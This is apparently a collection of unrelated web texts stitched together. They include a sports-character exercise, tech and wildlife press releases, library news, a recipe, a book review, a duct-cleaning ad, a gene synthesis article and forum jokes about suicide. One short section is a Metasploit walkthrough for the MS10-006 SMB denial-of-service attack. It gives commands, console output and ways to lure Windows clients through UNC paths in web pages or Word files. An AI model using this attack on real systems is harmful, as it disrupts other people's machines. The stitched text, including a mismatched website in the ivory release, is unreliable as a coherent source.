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This post was first published Wednesday June 5th, 2017 at www.upwindultimate.com/scratch-goals in partnership with Up Wind Ultimate (Formerly the National Ultimate League). I encourage you to check out their website and keep up with all the great work they're doing!
Don't get me wrong, I have nothing against goals. Effective goals can be an incredible performance enhancer – which I'll cover in another post. But today I am going to shift our attention away from the goals themselves and talk first about how we go about achieving those goals.
When we think of 'goals' we tend to think of things we want to achieve or accomplish. That's all fine and well. I want to talk about who we become in pursuit of those goals and how to make sure the person you become is the person you want to be. Because at the end of the day, at the end of our sport careers, at the end of our lives – our accomplishments and achievements will be measured not in a vacuum, but within the context of our character.
We can all name high performing athletes who we don't consider role models. They are the athletes who have plenty of accomplishments, accolades, and trophies to their name, but they don't demonstrate good character either while competing and/or in life. Interestingly enough, most of those people fade out of the spotlight faster or in a much more dramatic way than those who also demonstrate solid character. This might be because they're more worried about looking good than being good. It might be because their behavior erodes their support network. I can't tell you for sure. But what I can tell you is that the performers who have a solid moral compass, robust sense of purpose, and strong relationships outlast and outperform those who don't.
Today in your homework, I'm going to ask you some deep questions that should get you thinking and may not be easy to answer. These questions are about who you want to be, your core values, what drives you, the people that matter to you and the legacy you hope to leave. Before I do that, I want to give you good reason open up, be vulnerable and devote time and effort to this assignment.
Taking time to define who you want to be and learning to use those values as your driving force and your guiding light in the pursuit of your goals will have several effects:
With that, forget about the things you want to accomplish and think about who you want to become as you strive to accomplish them. This will be your legacy – what you leave behind and the impact you have on others, the sport, and the world.
A few preparatory notes:
-You don't have to complete this in one sitting. It's totally okay, maybe even encouraged, to read this homework all the way through and let it simmer for an hour or a day before coming back to write down your answers. These are simple questions that can spark deep reflection if taken in the right mindset.
-You can complete this exercise in a group/team setting if you wish. If you take this route, I encourage you to share your answers with one another after each question and have open-minded discussion. This can be an awesome team building/bonding activity.
-This is an excellent activity for coaches (especially youth coaches). Completing it for yourself can help you ensure you're modeling what you want to be modeling to your athletes every day. Walking your athletes through this as an exercise can help you help you teach them to be self-motivated, hold themselves accountable and…well, just become good people of solid character.
Ready? Here we go.
1) What is the legacy you want to leave? Or, how do you want to be remembered? You can think about this question specific to Ultimate or broaden it to your whole life.
2) Rate yourself on a scale of 1 (poor) to 10 (excellent) on how you're doing so far living a life that will leave the legacy you wish. This is just a quick self-check. If your number is low, no worries…that'll just be additional motivation to change. If your number is high, good on you! Identify what specifically you're doing so you can keep doing it.
3) Who inspires you to be your best self? Who have you modeled yourself after in terms of character? If there is one specific person, write down their name and describe what about them inspires you to live a life of character – is it their words? Actions? Values? Temperament? If there are multiple people, describe the qualities you take as inspiration from each of them.
4) Identify your core values. What ideals do you strive to live up to? If you want, a simple web search for 'core values' will bring up lists upon lists to choose from.
5) What's your why? Why do you do what you do? What drives you? For more explanation and inspiration, watch THIS VIDEO.
6) What does it look like when you're living your best self? Be specific here. What does it look like when you act on your values? What do you need to be thinking, saying, and doing daily to ensure that the legacy you're leaving is the legacy you want to be leaving? It might be helpful to identify a particular time when being your best self is most challenging and then writing how you want to respond in those situations instead.
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Renesas Electronics America and IAR Systems Enhance RZ Express Program to Simplify HMI Application Development
Renesas RZ/A1 Microprocessor, Express Logic ThreadX® RTOS and Middleware, and IAR Embedded Workbench Reduce Design Risk and Accelerate Time to Market
07 Jul 2015
SANTA CLARA, Calif., July 7, 2015 — Renesas Electronics America, a premier provider of advanced semiconductor solutions, today announced that IAR Systems®, a world-leading provider of embedded development tools, has joined Renesas and Express Logic, a worldwide leader in royalty-free real-time operating systems (RTOSs) to support the popular Renesas RZ Express program. This optimized package integrates a powerful microprocessor (MPU), leading commercial RTOS and middleware, and software design tools to accelerate the design process and reduce execution risk by providing a proven path to high-performance human machine interfaces (HMI).
"The increasing design complexity facing the embedded industry is challenging, particularly for embedded designers working with HMI applications for building-automation, appliances, and industrial control. We have teamed up with IAR Systems and Express Logic to remove some of these pain points," said Vin D'Agostino, Vice President General Purpose Unit, Renesas Electronics America. "The RZ Express program brings the power and performance of our industry-leading technologies to help designers quickly and effectively build differentiated HMI solutions on top of the Renesas RZ/A1 hardware platform."
The RZ Express program now offers qualified embedded designers developing a commercial application with the Renesas RZ/A1 high-performance MPU the chance to obtain a valuable single-seat license of the IAR Embedded Workbench® for ARM® C/C++ compiler and debugger toolchain at no cost.* Additionally, qualified users will have a 30-day period in which they can order additional seats at 50 percent off. As part of the new RZ Express program, embedded designers will also receive one High Resolution Embedded GUI Solution Kit, which features the Renesas RZ/A1H MPU.
"Becoming part of the RZ Express program demonstrates IAR Systems' close and ongoing relationship with Renesas. Together, we can leverage our respective strengths to provide best-in-class hardware and software solutions that ensures a successful user experience for customers using Renesas RZ/A1 MPUs in their embedded designs," noted Robert DeOliviera, Director Strategic Sales, IAR Systems.
"The widespread adoption of touch screens and user friendly GUIs has radically changed the expectations of HMI applications and devices," noted William E. Lamie, President of Express Logic. "Our X-Ware Platform already provided the RTOS, network stacks, file system, and GUI tools and now with IAR's contribution of excellent development tools, RZ Express gives engineers all they need to rapidly develop reliable, responsive, and graphically-pleasing products within a minimal footprint and with the highest real-time performance."
The RZ Express promotion is available now for a limited time and is only valid in the Americas (North America, South America, and Central America). Qualified customers* can request a single-product license for Express Logic and IAR Systems software tools by applying to the program online here. The Express Logic software, the tools from IAR Systems, and Renesas RZ/A1 MPU platform are tightly integrated though a large number of free sample software projects that customers can download from www.expresslogic.com/download_center to get up to speed rapidly.
About Renesas RZ/A MPUs
The Renesas RZ/A series of MPUs combine a high-performance ARM® Cortex-A9 processor with up to an industry-leading 10MB of on-chip RAM to support faster device control, digital audio and video-signal processing, and much more. The large on-chip RAM combined with the ability to execute code in-place from cost-effective QSPI flash memory removes the need for external SDRAM, enabling low-power, cost-effective embedded display applications. The RZ/A MPUs can also drive two simultaneous displays at up to WXGA resolution, using on-chip SRAM for the graphics frame buffers.
About IAR Embedded Workbench
IAR Embedded Workbench is a set of high-performance development tools for applications based on 8-, 16-, and 32-bit microcontrollers, including the entire range of Renesas MCUs. It incorporates powerful compiler and debugger tools into one completely integrated development environment used for developing, building, and debugging embedded applications with strong requirements on performance and reliability. It is easy to use and provides advanced and highly efficient optimization features.
About Express Logic RTOS/Middleware
Express Logic's ThreadX RTOS is deployed in over two billion electronic products, most of which are powered by ARM-based processors. Express Logic's ThreadX RTOS and Express Logic's related middleware provide priority-based, pre-emptive, real-time scheduling, messaging, NetX™ and NetX Duo™ TCP/IP stacks, FileX® embedded MS-DOS-compatible file system, USBX™ Host/Device USB protocol stack, and GUIX™ embedded graphical user interface development toolkit for these systems. The Express Logic products strongly complement the Renesas RZ/A MPU.
For more information on Renesas, follow Renesas Electronics America at @RenesasAmerica on Twitter and http://www.facebook.com/RenesasAmerica.
(Remarks) IAR Systems, IAR Embedded Workbench, C-SPY, C-RUN, C-STAT, visualSTATE, IAR KickStart Kit, IAR Experiment!, I-jet, I-jet Trace, I-scope, IAR Academy, IAR, and the logotype of IAR Systems are trademarks or registered trademarks owned by IAR Systems AB. All other product and service names that appear in this newsflash are trademarks or registered trademarks of their respective owners.
*Terms and conditions apply. See http://am.renesas.com/RZExpress/Terms_and_Conditions for more details on the RZ Express program qualification criteria. Limited to one free IAR Embedded Workbench for ARM seat per company.
About Renesas Electronics Corporation
Renesas Electronics Corporation (TSE: 6723) delivers trusted embedded design innovation with complete semiconductor solutions that enable billions of connected, intelligent devices to enhance the way people work and live. A global leader in microcontrollers, analog, power, and SoC products, Renesas provides comprehensive solutions for a broad range of automotive, industrial, infrastructure, and IoT applications that help shape a limitless future. Learn more at renesas.com. Follow us on LinkedIn, Facebook, Twitter, and YouTube.
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Friends of Libraries groups now have their very own national week of celebration! FOLUSA is coordinating the third annual National Friends of Libraries Week October 19 - 25, 2008. The celebration offers a two-fold opportunity to celebrate Friends. Use the time to creatively promote your group in the community, to raise awareness, and to promote membership. This is also an excellent opportunity for your library and Board of Trustees to recognize the Friends for their help and support of the library. READ MORE
The severity of Hurricane Katrina's impact reverberated throughout the city of New Orleans. Submerged property and toppled trees and automobiles are a testament to its ferocity. Very few buildings or homes were spared its devastation and one institution, the once vibrant New Orleans Public Library System (NOPL), underwent the most horrid destruction. The twelve-branch system experienced damage to all of its buildings, some of them, particularly the Martin Luther King Branch in the Lower Ninth Ward and the Smith Regional Branch in the Lakefront area, sustained overwhelming torrents that completely destroyed the entrails of the buildings. Others suffered water and mold damage and a few were salvageable, but nothing really emerged physically intact. READ MORE
Last weekend, 11-year-old Oscar Youngquist of Racine, Wis. received a personalized tour of the National Baseball Hall of Fame and Museum in Cooperstown, N.Y. It was a once in a lifetime moment, and it was all made possible by a trip to the Racine Public Library.On October 3, Step Up to the Plate spokesperson and Hall of Famer Ozzie Smith, drew Youngquist's name as the grand-prize winner. READ MORE
What is the largest source of potential federal funding for public libraries? Your first thought may naturally be the Library Services and Technology Act , a program that provided around $220 million for libraries in FY2008. But the correct answer is the Education-Rate Program, commonly known as the "e-rate," with at least $2.25 billion per year—one of the four programs that comprise the federal Universal Services Fund (USF) that was established in the Communications Act of 1934 to equalize the cost of telephone services to underserved areas of the country. The 1996 Telecommunications Act took it a step further by adding support for advanced telecommunications and information services, extending the USF's priorities to include K–12 schools and public libraries. Thus, the birth of the e-rate. READ MORE
Four-year-old Katalyna Padilla forms the words slowly, straining to pronounce each syllable clearly. She and twin sister Katrina attend one of six EPIC preschools sponsored by Waukegan Public School District 60. EPIC stands for Early Childhood Partners In Collaboration, an organization that provides no-cost preschool to Waukegan kids ages 3-5. Last year, Katalyna, who speaks English as a second language, was diagnosed with a speech disability during her preschool screening. She immediately began speech therapy with specialists at EPIC READ MORE
MG Farrelly is a public librarian and has written a list of seven ways that your library can help you during a bad economy. Libraries are an excellent resource and they're pretty easy to use. Don't worry if you're not a big reader, there's lots more stuff to do at the library besides just checking out books. READ MORE


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This module exploits a denial of service flaw in the Microsoft Windows SMB client on Windows 7 and Windows Server 2008 R2. To trigger this bug, run this module as a service and forces a vulnerable client to access the IP of this system as an SMB server. This can be accomplished by embedding a UNC path (\HOST\share\something) into a web page if the target is using Internet Explorer, or a Word
document otherwise.
(2)use dos/windows/smb/ms10_006_negotiate_response_loop
(3)show options
(4)set SRVHOST I.P. of local machine
[*] Starting the malicious SMB service...
[*] To trigger, the vulnerable client should try to access: \\I.P.\Shared\Anything
[*] Server started.
If the system that accessed that location is vulnerable, it will immediately freeze. To get out of that state, restart the system.


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This week we follow up on mayors, creatures that are delaying things, dumb drivers, donations, tourism, double duty, watches, shrinking monuments and snow, snow, and more snow.
Follow Up:
New Stories:
- Creature delays flight.
- Driver does something stupid
- Ivy League school gets large donation
- Tourism website urges visitors not to visit
- Drunk driver attempts to get out of being arrested
- Judge pulls double duty
- Snow Jumpers
- Dumb criminal gets off easy
- Watch sells for big
- Monument Shrinks
- Snowball Fight!
- Lab has been caught
- Man accused of shooting
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I've crawled through the mud of jaded glades before. So many times. Is it a random walk? Is it what McKenna called "history?" Just watched a two-hour speedrun of Mario 64. One hundred and twenty stars. Dreamed of crack, like I usually do. The usual metaphors.
Not severed, not cynical enough. I want to pick the vines clean, but I can't find them all. Secrets. Information isn't objectively overloaded, I just haven't grown my new lobes. Atrophy. But I know there's more. Can't be patient. Gentleman caller, flopped the riff, sinkhole, enamel stripped teeth - but not totally ruined. The scrapyard, the starpower in the scrapyard. Run, run, run! Haha. Leave my friends behind, abandon family, bounce to the virtues of the virtual, run the code, run.
Did the tryptamine intercolate correctly? What does that mean for my future? Our future? They said the philosopher's stone is at the top of the tallest mountain. Poetry won't get me out of this mess. I'll pick the vine clean. See if I can see what it means.
When are they going to build the autobahn for the collective consciousness? The internet is supposed to be that, maybe it is. Except it's twisted. Like it's supposed to be, perhaps. Like in my devil gnosis, the necessary evil, the misery I must spread before I shuffle off this mortal coil, plagued kiss-off before the fentanyl vault - the welfare cosmos. Not that I don't see stars on the horizon. Distorted through the jitters, ocular oscillation. But I see them.


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Research Project
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We have constructed a phase-modulation Raman measurement system by the use of two continuous-wave laser lines. One laser line is used for generating elementary excitations (charged solitons, polarons, etc.) in conjugated polymers ; the other is used for probing the Raman scattering from these photo-generated species. A thin film of trans-polyacetylene (PA) or poly (2,5-thienylenevinylene) (PTV) was set at the head of a cryostat. The temperature of the sample was kept at 77K during the measurements of Raman spectra. The 514.5-nm laser light for photo-irradiation and the laser light for measuring Raman spectra were incident on the same area of the sample. The wavelengths of probing laser lines are 830 and 1064 nm for PA and PTV,respectively. The difference Raman spectrum between the laser-on and laser-off spectra was measured for each sample. Photoinduced Raman spectra have been obtained. It has been shown that these spectra are not due to the thermal effect induced by laser-irradiation. Thus, photoinduced Raman spectra have been tentatively attributed to charged species generated by photo-irradiation.
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If it wasnt for meatballs I would have fucking killed myself already.
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Meatball sub from Subway for dinner. Thanks!
I always look for an opportunity to attack one of these posts, but I gotta admit, meatballs are pretty fuckin' tasty.
This is why I love erie, pa
i feel the same way about cheese
Awesome, awesome movie. Anytime I find myself perched on a windswept girder, I just think of Bill Murray saying "Kids are starving in China and you're wandering around with a sombrero full of peanuts?", and life starts to make sense again.
cheeseburgers, fries, donuts, and masturbation to be exact
cant lie meatballs are the shit
4:48 likes meatballs, too. Two at a time, resting on his chin.
hahaha the "fucking" makes it funnier
literally just said "oooooh... bacon" out loud..
The movie or the food? Cause the movie was funny, but i cant see it keeping me from killing myself. Now the food is also good, but im with the guys above here, bacon would keep me alive before meatballs would.
Meatballs? or how about Spaceballs??????
3:29 post is hilarious!
Amazing post lol
you mean meat*y* balls right?


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Wednesday, October 16, 2013
Wednesday w/ WNY Author: Cassandra Carr and her book Impact
Buckin' Bull Riders Book One
Cassandra Carr
Professional bull rider Conner Raub hides a secret from the world. He's a Dom. When he meets a submissive on tour who pulls at his Dom tendencies, he fights to deny his true self, believing his colleagues will condemn his lifestyle.
Jessica Talbot is new to the BDSM scene and the bull riding tour, but after seeing Conner come to the aid of a submissive being mistreated in a club, she sets out to have him for her own. After their first night together she asks him to train her to submit and he refuses, afraid to mix business with pleasure. But Jessica isn't deterred. She'll do whatever it takes to make him realize he can have it all—a career, true love, and the BDSM lifestyle he craves.
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Erin's Review
I went in to this book with an open mind, as I'm not much of a western reader but Cassandra roped me in pretty darn quick! Conner and Jessica's story is one filled with lust, sex and each of them give the other something they desperately need. Conner brings out Jessica's hidden desires and she compliments him well with her ability to tame the wild beast, so to speak. Conner's dom tendencies are prevalent throughout their story and by the end take on a whole new meaning with his new-found love for Jessica. Conner is the man you just have to have, and will go to any lengths to protect his woman. Jessica is the perfect compliment to Conner. After finding this was the first in a series I just couldn't wait to get my hands on all of them. Wonderful characters, an awesome read, and thanks to Cassandra....now a western fan
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Stawberries and grapes in melted chocolate
Desserts are just a perfect way to end a delicious meal; and since this is a special Valentine's day dessert, you have to make it a delicious treat. The night has to be a night to remember and what perfect way to end it than a delicious and easy to make dessert. this recipe was born out of my love for chocolates, grapes and strawberries. I often wondered how the combination would come out. Having tried it a couple of times, it did turn out perfectly. Am putting this out as my Valentine's Day dessert recipe, it is just the perfect way to sweeten your lovers tongue after a delicious meal of Tiger prawns in coconut milk that I posted earlier http://goo.gl/Yw9VB6
This dessert has a refreshing goodness to it because the fruits are fresh, the chocolate balances the tangy vibes from the strawberries and adds a distinctive sweetness to the dessert, making it an all-time favourite of mine. I love chocolates even though am not a sweet tooth and I know a lot of people love chocolates too. The upside to this dessert is that it is so fresh, so delicious and so easy to make; you can actually make this in 5 minutes or less and in 3 easy steps, thus giving you enough room for others things like setting the table.
Enough of the talking let's make dessert!
1) Strawberries 200g
2) Black seedless grapes 200g
3) Chocolate 400g
1) Wash the Strawberries and grapes thoroughly, taking out the vines then arrange them neatly into your dessert cups or if you prefer, you can put them in a bowl. Pop into the freezer for a hour
Cooks tip: arranging the fruits in your dessert cup before freezing saves you a lot of time, you only need to bring it out and drizzle the melted chocolate on it, rather than bring it out in the bowl before arranging into the dessert cups and then drizzling chocolates.2) While the fruits chills away, melt your chocolate over a pan of boiling water and stir until it is very smooth, I sometimes add a bit of hot water to create a running chocolate paste
3) Once the chocolate is ready, take the fruits out from the freezer and drizzle a good amount all over, so that all of the fruits will be coated in the chocolate and you will still have enough to eat out of the dessert cup.
There you have it folks, a delicious yet healthy dessert., some of the chocolates will become hard again due to the frozen fruits but it still will be delicious! Dessert so sweet, dessert so healthy. Count 123 and it is ready! Don't forget to play soft music in the background! Happy Valentines
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Ahead of London Summit on Wildlife Trafficking, France Destroys Ivory
Ivory destruction sets the stage for next week's global summit in London, as heads of state from around the world will discuss ways to combat the illegal wildlife trade
NAIROBI—Today, at the foot of the iron-latticed Eiffel Tower, France fed 3 tons of confiscated ivory into a pulverizer, becoming the first European country to publicly condemn elephant poaching and ivory trafficking through such an action. This comes as the U.S. government plans to unveil its National Strategy for Combatting Wildlife Trafficking and as heads of state prepare to gather in London next week where they will discuss ways to eradicate the illegal wildlife trade and protect the planet's most iconic species. The African Wildlife Foundation (AWF) welcomed the news and urged all European countries to destroy their ivory stocks and consider an outright ban on domestic ivory trade.
"We are seeing a growing consensus that there is no place for ivory other than on an elephant," said African Wildlife Foundation CEO Dr. Patrick Bergin, who is part of the eight-member Advisory Council on Wildlife Trafficking which made recommendations to the government's national strategy. "When governments continue to store seized ivory, they reinforce the notion that ivory has a legitimate, commercial value and may someday be released into the marketplace. We must devalue and deflate all ivory futures by destroying it, and collapse the market altogether by banning domestic ivory trade."
France joins a number of other countries that have either destroyed or committed to destroying their ivory stockpiles. These include Kenya, Gabon, the Philippines, the United States, China, and the Special Administrative Region of Hong Kong. The EU country is both a destination and transit area for trafficked ivory. In December 2013, during a routine inspection, French customs officials uncovered two whole elephant tusks and several smaller ivory chunks in the boot of a car near the city of Poitiers. The ivory seizure was one of the largest in a decade.
"Almost no country can escape the impact of this criminal trade," said Bergin, who will attend next week's wildlife trafficking summit in London. "When we all condemn the illegal ivory trade with such public events, we send a clear signal to ivory consumers, traffickers, and speculators that ivory has no value and no future."
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AWF CEO Dr. Patrick Bergin will attend the wildlife trafficking summit in the U.K. next week. Also in attendance will be WildAid and film action star, Jackie Chan, To schedule an interview, please contact Communications and Marketing Officer Kathleen Garrigan at firstname.lastname@example.com or +1 202 939 3326.
About African Wildlife Foundation
Founded in 1961, the African Wildlife Foundation (AWF) is a leading conservation organization focused solely on the African continent. AWF's programs and conservation strategies are based on sound science and designed to protect both the wild lands and wildlife of Africa and ensure a more sustainable future for Africa's people. Since its inception, AWF has protected endangered species and land, promoted conservation enterprises that benefit local African communities, and trained hundreds of African nationals in conservation—all to ensure the survival of Africa's unparalleled wildlife heritage. AWF is a nonprofit organization headquartered in Kenya and registered as a 501(c)(3) in the United States. For more information, visit www.wz-yf.com and follow us on Twitter @AWF_Official or @awf_media and Facebook at facebook.com/AfricanWildlifeFoundation.


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Palm Springs Duct Cleaning & Installation
Clear Ducts for Maximum Airflow Efficiency
Clogged ducts slow down the flow of air through your air conditioning system, leading to decreased efficiency and increased utility bills. Your unit has to work harder to push the air through these poorly maintained ducts, eventually leading to the need for costly repairs or a new AC unit before you are even ready to replace it. Prevent this chain of problems with Blair Heating & Air, the trusted source for Palm Springs residential HVAC services. We can provide you with a detailed duct cleaning and installation for your home. With over a decade of experience, our highly skilled team of technicians can carefully clear your ductwork without causing any damage to your system.
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Sometimes, poor airflow is simply caused by a leak in your ductwork. Other times, a massive re-route might be necessary to move the ducts into a more efficient pathway. Regardless of the unique needs of your home, our team is fully qualified to provide you with high-quality duct cleaning and installation services.
During our comprehensive duct cleaning in Palm Springs:
- Your ducts are properly pressurized to keep contaminants contained
- We avoid making cuts in your ducts unless it is absolutely necessary
- An external HEPA filter vacuum removes the debris from the ducts
- We partner the vacuum with manual agitation to remove all dust
- We will look for signs of mold or water damage, removing the contaminated materials
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Duct cleaning is one of your home's important requirements especially when you have identified a mold and mildew problem in your home. Mold and mildew grow where moisture is allowed to accumulate such as the air ducts in your home that often move around condensation as a result of the cooling of the air. If this is not properly monitored, it can lead to mold and mildew growth.
If you turn on your air conditioning unit is emitting a musty or earthy smell, you may have molds and mildew in your air ducts. Request a duct cleaning as soon as you've discovered mold to make sure you remove all contaminants from your home or the HVAC system on your business property.
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Artificial gene synthesis
Artificial gene synthesis or gene synthesis, sometimes known as DNA printing[1] is a method in synthetic biology that is used to create artificial genes in the laboratory. Based on solid-phase DNA synthesis, it differs from molecular cloning and polymerase chain reaction (PCR) in that it does not have to begin with preexisting DNA sequences. Therefore, it is possible to make a completely synthetic double-stranded DNA molecule with no apparent limits on either nucleotide sequence or size.
The method has been used to generate functional bacterial or yeast chromosomes containing approximately one million base pairs. Creating novel nucleobase pairs in addition to the two base pairs in nature could greatly expand the genetic code.[2][3][4]
Synthesis of the first complete gene, a yeast tRNA, was demonstrated by Har Gobind Khorana and coworkers in 1972.[5] Synthesis of the first peptide- and protein-coding genes was performed in the laboratories of Herbert Boyer and Alexander Markham, respectively.[6][7]
Commercial gene synthesis services are now available.[8] Approaches are most often based on a combination of organic chemistry and molecular biology techniques and entire genes may be synthesized "de novo", without the need for template DNA. Gene synthesis is an important tool in many fields of recombinant DNA technology including heterologous gene expression, vaccine development, gene therapy and molecular engineering. The synthesis of nucleic acid sequences can be more economical than classical cloning and mutagenesis procedures. It is also a powerful and flexible engineering tool for creating and designing new DNA sequences and protein functions.[9]
Gene optimization
While the ability to make increasingly long stretches of DNA efficiently and at lower prices is a technological driver of this field, increasingly attention is being focused on improving the design of genes for specific purposes. Early in the genome sequencing era, gene synthesis was used as an (expensive) source of cDNAs that were predicted by genomic or partial cDNA information but were difficult to clone. As higher quality sources of sequence verified cloned cDNA have become available, this practice has become less urgent.
Producing large amounts of protein from gene sequences (or at least the protein coding regions of genes, the open reading frame) found in nature can sometimes prove difficult and is a problem of sufficient impact that scientific conferences have been devoted to the topic. Many of the most interesting proteins sought by molecular biologists are normally regulated to be expressed in very low amounts in wild type cells.[10][11] Redesigning these genes offers a means to improve gene expression in many cases. Rewriting the open reading frame is possible because of the degeneracy of the genetic code. Thus it is possible to change up to about a third of the nucleotides in an open reading frame and still produce the same protein. The available number of alternate designs possible for a given protein is astronomical. For a typical protein sequence of 300 amino acids there are over 10150 codon combinations that will encode an identical protein. Codon optimization, or replacing rarely used codons with more common codons sometimes have dramatic effects. Further optimizations such as removing RNA secondary structures can also be included. At least in the case of E. coli, protein expression is maximized by predominantly using codons corresponding to tRNA that retain amino acid charging during starvation.[12] Computer programs written to perform these, and other simultaneous optimizations are used to handle the enormous complexity of the task.[13] A well optimized gene can improve protein expression 2 to 10 fold, and in some cases more than 100 fold improvements have been reported.[14] Because of the large numbers of nucleotide changes made to the original DNA sequence, the only practical way to create the newly designed genes is to use gene synthesis.
Standard methods
Oligonucleotide synthesis
Oligonucleotides are chemically synthesized using building blocks called nucleoside phosphoramidites. These can be normal or modified nucleosides which have protecting groups to prevent their amines, hydroxyl groups and phosphate groups from interacting incorrectly. One phosphoramidite is added at a time, the 5' hydroxyl group is deprotected and a new base is added and so on. The chain grows in the 3' to 5' direction, which is backwards relative to biosynthesis. At the end, all the protecting groups are removed. Nevertheless, being a chemical process, several incorrect interactions occur leading to some defective products. The longer the oligonucleotide sequence that is being synthesized, the more defects there are, thus this process is only practical for producing short sequences of nucleotides. The current practical limit is about 200 bp (base pairs) for an oligonucleotide with sufficient quality to be used directly for a biological application. HPLC can be used to isolate products with the proper sequence. Meanwhile, a large number of oligos can be synthesized in parallel on gene chips. For optimal performance in subsequent gene synthesis procedures they should be prepared individually and in larger scales.
Annealing based connection of oligonucleotides
Usually, a set of individually designed oligonucleotides is made on automated solid-phase synthesizers, purified and then connected by specific annealing and standard ligation or polymerase reactions. To improve specificity of oligonucleotide annealing, the synthesis step relies on a set of thermostable DNA ligase and polymerase enzymes. To date, several methods for gene synthesis have been described, such as the ligation of phosphorylated overlapping oligonucleotides,[5][6] the Fok I method[7] and a modified form of ligase chain reaction for gene synthesis. Additionally, several PCR assembly approaches have been described.[15] They usually employ oligonucleotides of 40-50 nucleotides long that overlap each other. These oligonucleotides are designed to cover most of the sequence of both strands, and the full-length molecule is generated progressively by overlap extension (OE) PCR,[15] thermodynamically balanced inside-out (TBIO) PCR[16] or combined approaches.[17] The most commonly synthesized genes range in size from 600 to 1,200 bp although much longer genes have been made by connecting previously assembled fragments of under 1,000 bp. In this size range it is necessary to test several candidate clones confirming the sequence of the cloned synthetic gene by automated sequencing methods.
Moreover, because the assembly of the full-length gene product relies on the efficient and specific alignment of long single stranded oligonucleotides, critical parameters for synthesis success include extended sequence regions comprising secondary structures caused by inverted repeats, extraordinary high or low GC-content, or repetitive structures. Usually these segments of a particular gene can only be synthesized by splitting the procedure into several consecutive steps and a final assembly of shorter sub-sequences, which in turn leads to a significant increase in time and labor needed for its production. The result of a gene synthesis experiment depends strongly on the quality of the oligonucleotides used. For these annealing based gene synthesis protocols, the quality of the product is directly and exponentially dependent on the correctness of the employed oligonucleotides. Alternatively, after performing gene synthesis with oligos of lower quality, more effort must be made in downstream quality assurance during clone analysis, which is usually done by time-consuming standard cloning and sequencing procedures. Another problem associated with all current gene synthesis methods is the high frequency of sequence errors because of the usage of chemically synthesized oligonucleotides. The error frequency increases with longer oligonucleotides, and as a consequence the percentage of correct product decreases dramatically as more oligonucleotides are used. The mutation problem could be solved by shorter oligonucleotides used to assemble the gene. However, all annealing based assembly methods require the primers to be mixed together in one tube. In this case, shorter overlaps do not always allow precise and specific annealing of complementary primers, resulting in the inhibition of full length product formation. Manual design of oligonucleotides is a laborious procedure and does not guarantee the successful synthesis of the desired gene. For optimal performance of almost all annealing based methods, the melting temperatures of the overlapping regions are supposed to be similar for all oligonucleotides. The necessary primer optimization should be performed using specialized oligonucleotide design programs. Several solutions for automated primer design for gene synthesis have been presented so far.[18][19][20]
Error correction procedures
To overcome problems associated with oligonucleotide quality several elaborate strategies have been developed, employing either separately prepared fishing oligonucleotides,[21] mismatch binding enzymes of the mutS family[22] or specific endonucleases from bacteria or phages.[23] Nevertheless, all these strategies increase time and costs for gene synthesis based on the annealing of chemically synthesized oligonucleotides.
Massively parallel sequencing has also been used as a tool to screen complex oligonucleotide libraries and enable the retrieval of accurate molecules. In one approach, oligonucleotides are sequenced on the 454 pyrosequencing platform and a robotic system images and picks individual beads corresponding to accurate sequence.[24] In another approach, a complex oligonucleotide library is modified with unique flanking tags before massively parallel sequencing. Tag-directed primers then enable the retrieval of molecules with desired sequences by dial-out PCR.[25]
Increasingly, genes are ordered in sets including functionally related genes or multiple sequence variants on a single gene. Virtually all of the therapeutic proteins in development, such as monoclonal antibodies, are optimized by testing many gene variants for improved function or expression.
Major applications of synthetic genes include synthesis of DNA sequences identified by high throughput sequencing but never cloned into plasmids and the ability to safely obtain genes for vaccine research without the need to grow the full pathogens. Digital manipulation of digital genetic code before synthesis into DNA can be used to optimize protein expression in a particular host, or remove non-functional segments in order to facilitate further replication of the DNA.
Synthesis of DNA allows DNA digital data storage.
DNA synthesis and synthetic biology
The significant drop in cost of gene synthesis in recent years due to increasing competition of companies providing this service has led to the ability to produce entire bacterial plasmids that have never existed in nature. The field of synthetic biology utilizes the technology to produce synthetic biological circuits, which are stretches of DNA manipulated to change gene expression within cells and cause the cell to produce a desired product.[26]
Entire bacterial genomes
Synthia and Mycoplasma laboratorium
On June 28, 2007, a team at the J. Craig Venter Institute published an article in Science Express, saying that they had successfully transplanted the natural DNA from a Mycoplasma mycoides bacterium into a Mycoplasma capricolum cell, creating a bacterium which behaved like a M. mycoides.[27]
On Oct 6, 2007, Craig Venter announced in an interview with UK's The Guardian newspaper that the same team had synthesized a modified version of the single chromosome of Mycoplasma genitalium using chemicals. The chromosome was modified to eliminate all genes which tests in live bacteria had shown to be unnecessary. The next planned step in this minimal genome project is to transplant the synthesized minimal genome into a bacterial cell with its old DNA removed; the resulting bacterium will be called Mycoplasma laboratorium. The next day the Canadian bioethics group, ETC Group issued a statement through their representative, Pat Mooney, saying Venter's "creation" was "a chassis on which you could build almost anything". The synthesized genome had not yet been transplanted into a working cell.[28]
On May 21, 2010, Science reported that the Venter group had successfully synthesized the genome of the bacterium Mycoplasma mycoides from a computer record, and transplanted the synthesized genome into the existing cell of a Mycoplasma capricolum bacterium that had its DNA removed. The "synthetic" bacterium was viable, i.e. capable of replicating billions of times. The team had originally planned to use the M. genitalium bacterium they had previously been working with, but switched to M. mycoides because the latter bacterium grows much faster, which translated into quicker experiments.[29] Venter describes it as "the first species.... to have its parents be a computer".[30] The transformed bacterium is dubbed "Synthia" by ETC. A Venter spokesperson has declined to confirm any breakthrough at the time of this writing.
Yeast chromosome
In March 2014, Jef Boeke of the Langone Medical Centre at New York University, published that his team has synthesized one of the S. cerevisiae 16 yeast chromosomes, the chromosome III, that he named synIII.[31][32] The procedure involved replacing the genes in the original chromosome with synthetic versions and the finished human made chromosome was then integrated into a yeast cell. It required designing and creating 273,871 base pairs of DNA – fewer than the 316,667 pairs in the original chromosome. In March 2017 6 yeast chromosomes were reported to have been synthesized.[33]
Unnatural base pair (UBP)
DNA sequences have been described which use newly created nucleobases to form a third base pair, in addition to the two base pairs found in nature, A-T (adenine – thymine) and G-C (guanine – cytosine). Multiple research groups have been searching for a third base pair for DNA, including teams led by Steven A. Benner, Philippe Marliere, and Ichiro Hirao.[34] Some new base pairs have been reported.[35][36][37]
